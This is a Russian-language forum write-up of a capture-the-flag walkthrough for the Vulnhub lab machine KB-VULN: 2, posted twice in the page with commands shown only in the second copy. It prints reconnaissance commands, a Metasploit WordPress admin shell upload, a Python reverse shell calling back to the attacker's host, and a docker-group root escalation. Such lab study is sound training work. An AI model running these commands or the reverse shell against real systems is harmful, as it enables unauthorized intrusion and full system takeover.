Приветствую!
Это продолжение прохождения серии коробок с Vulnhub - KB-VULN. Прохождение предыдущей машины можно посмотреть тут.
В данной статье представлено прохождение машины KB-VULN: 2 ( Найти и скачать коробку можно тут
Исходные данные:
Имеется атакуемая машина под управлением Ubuntu linux, на которой есть 2 флага user.txt и flag.txt.
Машина, с которой проводится атака с ОС Kali Linux.
Задача: получить 2 флага с целевой машины и права пользователя root.
Итак, как обычно, ищем атакуемую машину в сети:
У меня в сети ip целевой машины = 192.168.3.133.
И просканировав её nmap'ом, видим, что открыты порты для 3-х сервисов:
А именно: 21 порт с ftp, 22 порт - ssh, 80 порт - http и самба (139, 445 порты).
Для начала следует посмотреть в самбу, вдруг там есть что-то с открытым доступом:
Видим, что каталог Anonymous доступен для чтения, без авторизации, посмотрим, что в нем (пароль оставляем пустым, просто жмем ENTER):
После подключения, видно что в каталоге есть всего 1 файл - архив backup.zip, стягиваем его на основную машину и посмотрим, что же внутри.
Распаковав архив видно, что внутри есть логин и пароль:
Судя по всему, это учетные данные от админки сайта, но пока оставим их и посмотрим, что интересного есть на сайте:
Тут сразу видно директорию /wordpress.
Догадка подтвердилась, в бэкапе были данные для авторизации, но прежде, чем лезть в форму авторизации, нужно чуть-чуть подправить файл hosts:
И теперь, перейдя на веб-сайт (
Учетные данные, найденные ранее подходят. Теперь есть несколько путей залить шелл на сервер - уязвимые плагины, замена файла 404.php, в темах (однако в данном случае это не работает, заливать придется через ftp) и др.
Я буду использовать один из эксплоитов в metasploit, для wordpress, который требует авторизации:
Вот мы и внутри, самое время пойти и забрать заслуженный первый флаг:
03bf4d20dac5644c75e69e40bad48db0
Еще мне захотелось чуток улучшить шелл, закинув на сервер python скрипт, открывающий доступ к bash:
Собственно сам rev.py:
На основной машине развернул прослушиватель
И, из метерпретера, запустил rev.py:
Проверка, какие пользователи есть в системе, показала, что, помимо рута, существует только один пользователь, чью домашнюю директорию мы и посещали (kbadmin):
Итак, теперь у нас есть пользовательский флаг, стабильный шелл и имя пользователя. Если честно тут я завис на довольно долгое время, пытаясь получить доступ к учетке юзера kbadmin, пока не додумался, при ввести тот же пароль, что и для админки на сайте (MachineBoy141). И, о чудо, это сработало:
Ура, теперь наконец можно начать получать рут. Первым делом стоит прочитать содержимое файла note.txt, который лежит в домашней директории пользователя, рядом с флагом:
Подсказка гласит использовать докер. И тут я нова завис, я пробовал идти другими путями, но в конце-концов решил следовать подсказке и перелопатив половину интернета, я наткнулся на замечательную статью, объясняющую, почему следует отказаться от использования группы "docker" и не добавлять в неё кого попало:
Данная команда получает образ Docker, созданный автором приведенной выше статьи, из реестра Docker Hub и запускает его.
Параметр -v, говорит, что мы хотим создать том в экземпляре Docker, а параметры -i и -t переводят докер в режим оболочки, вместо запуска демона.
И в результате мы получаем рут.
Теперь идем и спокойно забираем флаг:
dc387b4cf1a4143f562dd1bdb3790ff1
С машиной KB-VULN:2 разобрались, так что пора заканчивать. Если кто-то нашел другой способ прохождения данный коробки, пожалуйста поделитесь в комментариях, или в личку, интересно посмотреть.
Спасибо всем, кто дочитал этот врайтап до конца.
Это продолжение прохождения серии коробок с Vulnhub - KB-VULN. Прохождение предыдущей машины можно посмотреть тут.
В данной статье представлено прохождение машины KB-VULN: 2 ( Найти и скачать коробку можно тут
Ссылка скрыта от гостей
).Исходные данные:
Имеется атакуемая машина под управлением Ubuntu linux, на которой есть 2 флага user.txt и flag.txt.
Машина, с которой проводится атака с ОС Kali Linux.
Задача: получить 2 флага с целевой машины и права пользователя root.
Итак, как обычно, ищем атакуемую машину в сети:
~$ sudo netdiscover
У меня в сети ip целевой машины = 192.168.3.133.
И просканировав её nmap'ом, видим, что открыты порты для 3-х сервисов:
~$ nmap -A -p- -v 192.168.3.120
А именно: 21 порт с ftp, 22 порт - ssh, 80 порт - http и самба (139, 445 порты).
Для начала следует посмотреть в самбу, вдруг там есть что-то с открытым доступом:
~$ smbmap -H 192.168.3.133
Видим, что каталог Anonymous доступен для чтения, без авторизации, посмотрим, что в нем (пароль оставляем пустым, просто жмем ENTER):
~$ smbclient //192.168.3.133/Anonymous
После подключения, видно что в каталоге есть всего 1 файл - архив backup.zip, стягиваем его на основную машину и посмотрим, что же внутри.
Распаковав архив видно, что внутри есть логин и пароль:
Судя по всему, это учетные данные от админки сайта, но пока оставим их и посмотрим, что интересного есть на сайте:
~$ sudo dirsearch -u 'http://192.168.3.133' -e js,htm,php,bak,html,txt,jpg,png,jpeg -w /usr/share/dirb/wordlists/big.txt -r -f
Тут сразу видно директорию /wordpress.
Догадка подтвердилась, в бэкапе были данные для авторизации, но прежде, чем лезть в форму авторизации, нужно чуть-чуть подправить файл hosts:
~$ sudo echo "192.168.3.133 kb.vuln" >> /etc/hosts
И теперь, перейдя на веб-сайт (
Ссылка скрыта от гостей
) видим корректно работающую форму авторизации:Учетные данные, найденные ранее подходят. Теперь есть несколько путей залить шелл на сервер - уязвимые плагины, замена файла 404.php, в темах (однако в данном случае это не работает, заливать придется через ftp) и др.
Я буду использовать один из эксплоитов в metasploit, для wordpress, который требует авторизации:
~$ msfconsole
msf6 > use exploit/unix/webapp/wp_admin_shell_upload
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts 192.168.3.133
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set username admin
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set password MachineBoy141
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set targeturi /wordpress
msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit
Вот мы и внутри, самое время пойти и забрать заслуженный первый флаг:
meterpreter > cd /home/kbadmin
meterpreter > cat user.txt
03bf4d20dac5644c75e69e40bad48db0
Еще мне захотелось чуток улучшить шелл, закинув на сервер python скрипт, открывающий доступ к bash:
Собственно сам rev.py:
Python:
import os,socket,subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.3.131",1337))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
На основной машине развернул прослушиватель
И, из метерпретера, запустил rev.py:
Проверка, какие пользователи есть в системе, показала, что, помимо рута, существует только один пользователь, чью домашнюю директорию мы и посещали (kbadmin):
www-data@kb-server:/home/kbadmin$ cat /etc/passwd
Итак, теперь у нас есть пользовательский флаг, стабильный шелл и имя пользователя. Если честно тут я завис на довольно долгое время, пытаясь получить доступ к учетке юзера kbadmin, пока не додумался, при ввести тот же пароль, что и для админки на сайте (MachineBoy141). И, о чудо, это сработало:
kali@kali~$ ssh kbadmin@192.168.3.133
Password: MachineBoy141
Ура, теперь наконец можно начать получать рут. Первым делом стоит прочитать содержимое файла note.txt, который лежит в домашней директории пользователя, рядом с флагом:
Подсказка гласит использовать докер. И тут я нова завис, я пробовал идти другими путями, но в конце-концов решил следовать подсказке и перелопатив половину интернета, я наткнулся на замечательную статью, объясняющую, почему следует отказаться от использования группы "docker" и не добавлять в неё кого попало:
Ссылка скрыта от гостей
и соответствующий гит-репозиторий вот_он. В статье описана уязвимость докера, позволяющая получить root оболочку любому пользователю, который является членом группы "docker", рекомендую статью к прочтению (я вот не знал данной информации и для меня она оказалось очень интересной и полезной). Таким образом, всего одной командой можно получить рут:kbadmin@kb-server:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
Данная команда получает образ Docker, созданный автором приведенной выше статьи, из реестра Docker Hub и запускает его.
Параметр -v, говорит, что мы хотим создать том в экземпляре Docker, а параметры -i и -t переводят докер в режим оболочки, вместо запуска демона.
И в результате мы получаем рут.
Теперь идем и спокойно забираем флаг:
root@df1a42e8284e:~# cat /root/flag.txt
dc387b4cf1a4143f562dd1bdb3790ff1
С машиной KB-VULN:2 разобрались, так что пора заканчивать. Если кто-то нашел другой способ прохождения данный коробки, пожалуйста поделитесь в комментариях, или в личку, интересно посмотреть.
Спасибо всем, кто дочитал этот врайтап до конца.
Последнее редактирование модератором: